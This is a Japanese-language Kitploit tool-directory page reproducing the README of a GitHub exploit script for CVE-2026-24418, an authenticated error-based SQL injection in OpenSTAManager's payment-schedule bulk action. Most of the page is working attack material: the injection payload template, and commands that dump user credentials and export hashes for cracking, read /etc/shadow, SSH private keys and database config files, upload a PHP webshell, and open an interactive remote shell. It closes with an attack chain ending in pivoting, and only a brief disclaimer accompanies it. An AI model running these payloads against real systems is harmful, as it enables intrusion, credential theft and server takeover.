Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-24418 — OpenSTAManager v2.9.8 およびそれ以前には、Scadenzario (支払スケジュール) モジュールの一括操作ハンドラに、重大なエラーベースのSQLインジェクション脆弱性が存在します。 | Kitploit
ツール/GitHubGitHub/bridgeralderson/cve-2026-24418
パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミングデータベースセキュリティ
GitHubbridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 およびそれ以前には、Scadenzario (支払スケジュール) モジュールの一括操作ハンドラに、重大なエラーベースのSQLインジェクション脆弱性が存在します。

リポジトリを見る
2123ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-24418

OpenSTAManager <= 2.9.8 — Scadenzario一括操作モジュールにおけるエラーベースSQLインジェクション

概要

フィールド詳細
CVE IDCVE-2026-24418
重要度HIGH (8.8)
CWECWE-89: SQLインジェクション
影響を受けるバージョンOpenSTAManager <= 2.9.8
脆弱性パラメータid_records[] (POST配列)
脆弱性エンドポイント/actions.php?id_module=18
攻撃タイプエラーベースSQLインジェクション (EXTRACTVALUE)
認証必須 (有効なユーザーアカウント)

脆弱性の詳細

OpenSTAManager v2.9.8およびそれ以前のバージョンには、Scadenzario(支払予定表)モジュールの一括操作ハンドラに重大なエラーベースSQLインジェクションの脆弱性が存在します。アプリケーションは、id_records[]配列の要素が整数であることを確認せずにSQLのIN()句で使用しているため、認証された攻撃者が任意のSQLコマンドを注入し、XPATHエラーメッセージを介して機密データを抽出することを可能にします。

根本原因

  1. エントリポイント — /actions.phpがid_records[]をPOSTで受け取る
  2. 不十分なサニタイズ — array_clean()は空の値を削除するのみで、データ型を検証しない
  3. インジェクションポイント — /modules/scadenzario/bulk.phpがサニタイズされていない値をそのままSQLのIN()句に渡す
  4. データ流出 — EXTRACTVALUE/UPDATEXMLのエラーメッセージがクエリ結果を漏洩させる

機能

機能説明
--infoデータベースサーバーのフィンガープリント(バージョン、ユーザー、ホスト名、OS、パス)
--privsMySQL権限の列挙(FILE、SUPER、PROCESS)
--userszz_usersからの全資格情報ダンプ、ハッシュの自動エクスポート
--dbsアクセス可能な全データベースを列挙
--tables行数付きでテーブルを一覧表示
--columns型とNULL許容情報付きでカラムを一覧表示
--dump任意のテーブル/カラムからのデータ流出
--sqlカスタムSQLクエリの実行
--file-readLOAD_FILE()によるサーバーファイルの読み取り(/etc/passwd、設定ファイル、SSH鍵)
--file-read-hexHEXエンコードによるファイル読み取り(フィルター回避)
--webshellINTO DUMPFILEによるPHPウェブシェルのアップロード
--rceアップロードしたウェブシェルを介した対話型コマンド実行
-o / --output全結果をJSON、CSV、およびhashcat/john形式で保存
--proxyHTTPプロキシ対応(Burp Suite)
--delayIDS/WAF回避のためのリクエスト間遅延

インストール

git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

使用方法

認証

# 資格情報でログイン
python3 exploit.py -t http://target.com -u admin -p password --info

# 既存のセッションクッキーを使用
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

偵察

# データベース情報+権限+ユーザー資格情報
python3 exploit.py -t http://target.com -u admin -p secret --all

# MySQL権限の確認(FILE、SUPERなど)
python3 exploit.py -t http://target.com -u admin -p secret --privs

資格情報抽出

# ユーザーをダンプし、ハッシュを自動エクスポート
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# 出力ファイル:
#   ./loot/users.json          - ユーザー完全データ
#   ./loot/users.csv           - CSV形式
#   ./loot/hashes_hashcat.txt  - Hashcat形式(モード3200)
#   ./loot/hashes_john.txt     - John形式(user:hash)

データベース列挙

# 全データベースを一覧表示
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# 特定のデータベース内のテーブルを一覧表示
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# テーブルのカラムを一覧表示
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# 行数制限付きで特定のカラムをダンプ
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

ファイル読み取り(SQL経由のLFI)

# /etc/passwdを読み取り
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# アプリケーション設定を読み取り(データベース資格情報)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# SSH鍵を読み取り
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# HEXモード(文字フィルター回避)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

リモートコード実行

# ウェブシェルをアップロード(Webrootを自動検出)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# 特定のWebrootを指定してウェブシェルをアップロード
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# 対話型シェルセッション
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCEはウェブシェルが存在しない場合、自動でアップロードする

出力とレポート

# すべてをディレクトリに保存
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# 生成されるファイル:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

ネットワークオプション

# Burp Suiteプロキシ経由
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# リクエスト間遅延(2秒)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# SSL検証をスキップ
python3 exploit.py -t https://target.com -u admin -p secret --info -k

全オプションリファレンス

ターゲット:
  -t, --target           ターゲットのベースURL

認証:
  -u, --user             ログイン用ユーザー名
  -p, --password         ログイン用パスワード
  -c, --cookie           既存のPHPSESSID値

列挙:
  -D, --database         ターゲットデータベース名
  -T, --table            ターゲットテーブル名
  -C, --columns-list     ダンプするカラム(カンマ区切り)
  --limit                ダンプの行数制限

アクション:
  --info                 データベースサーバー情報
  --users                zz_usersの資格情報をダンプ
  --dbs                  データベースを列挙
  --tables               テーブルを一覧表示
  --columns              カラムを一覧表示(-Tが必要)
  --dump                 データをダンプ(-Tと-Cが必要)
  --sql QUERY            カスタムSQLクエリ
  --all                  --info + --privs + --users を実行
  --privs                MySQL権限を確認

ファイル操作:
  --file-read PATH       LOAD_FILE()でファイルを読み取り
  --file-read-hex PATH   HEXエンコードでファイルを読み取り

リモートコード実行:
  --webshell             PHPウェブシェルをアップロード
  --webroot PATH         シェルアップロード用のWebrootパス
  --rce                  対話型コマンド実行

出力:
  -o, --output DIR       結果をディレクトリに保存

ネットワーク:
  -m, --module-id        モジュールID(デフォルト: 18)
  --proxy                HTTPプロキシURL
  -k, --no-ssl-verify    SSL検証を無効化
  --delay                リクエスト間の遅延(秒)

技術詳細

ペイロード構造

id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

EXTRACTVALUEの文字数制限

MySQLのEXTRACTVALUE()はXPATHエラーを介して最大約32文字を返します。ツールはSUBSTRING()を使用して長い結果を自動的にチャンク化します:

SUBSTRING((<query>), 1, 31)    -- チャンク1
SUBSTRING((<query>), 32, 31)   -- チャンク2
...

ウェブシェルアップロードの仕組み

エラーベースコンテキストに関する技術的注意: 最大限のカバレッジのために--webshellと--rceが含まれていますが、MySQLはサブクエリやIN()句(まさにこのCVEのインジェクションポイントがある場所)内でINTO DUMPFILEを使用することを厳格に禁止しています。

したがって、この特定のエラーベースインジェクションを介してファイルを直接書き込むことは、以下の場合を除き、通常は構文エラーで失敗します:

  1. ターゲット環境がスタッククエリを許可している場合(現代のPHP/PDOセットアップでは非常に稀)。
  2. ペイロードをUNIONベースのインジェクションに切り替えることができた場合。

--privsでFILE権限を確認した場合、LOAD_FILE()はエラーベースのサブクエリ内で完璧に機能するため、--file-readおよび--file-read-hexを使用するのが最善の策です。

FILE権限が利用可能で制約が許す場合:

SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'

脆弱なコードパス

POST /actions.php?id_module=18
    └── actions.php (L503-506) ─── id_records[]を受け取る
        └── array_clean() ─── 空の値を削除するのみ
            └── bulk.php (L88) ─── SQLのIN()句を構築
                └── Database.php (L289) ─── サニタイズされていないクエリを実行
                    └── XPATHエラーがデータを漏洩

攻撃チェーンの例

1. --privs        → FILE権限を確認
2. --users        → 資格情報をダンプ、ハッシュをエクスポート
3. --file-read    → config.inc.phpを読み取り、DB資格情報を取得
4. --file-read    → /etc/passwdを読み取り、ユーザー名を取得
5. --webshell     → PHPウェブシェルをアップロード
6. --rce          → 対話型シェル→ピボット

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの無許可アクセスは違法です。テストの前に必ず適切な許可を取得してください。著者は誤用に対する責任を負いません。

参考文献

  • CVE-2026-24418 (NVD)
  • GitHub Security Advisory — GHSA-4xwv-49c8-fvhq
  • OpenSTAManagerリポジトリ
  • Lukasz Rybak氏によるPoC
ツールをダウンロード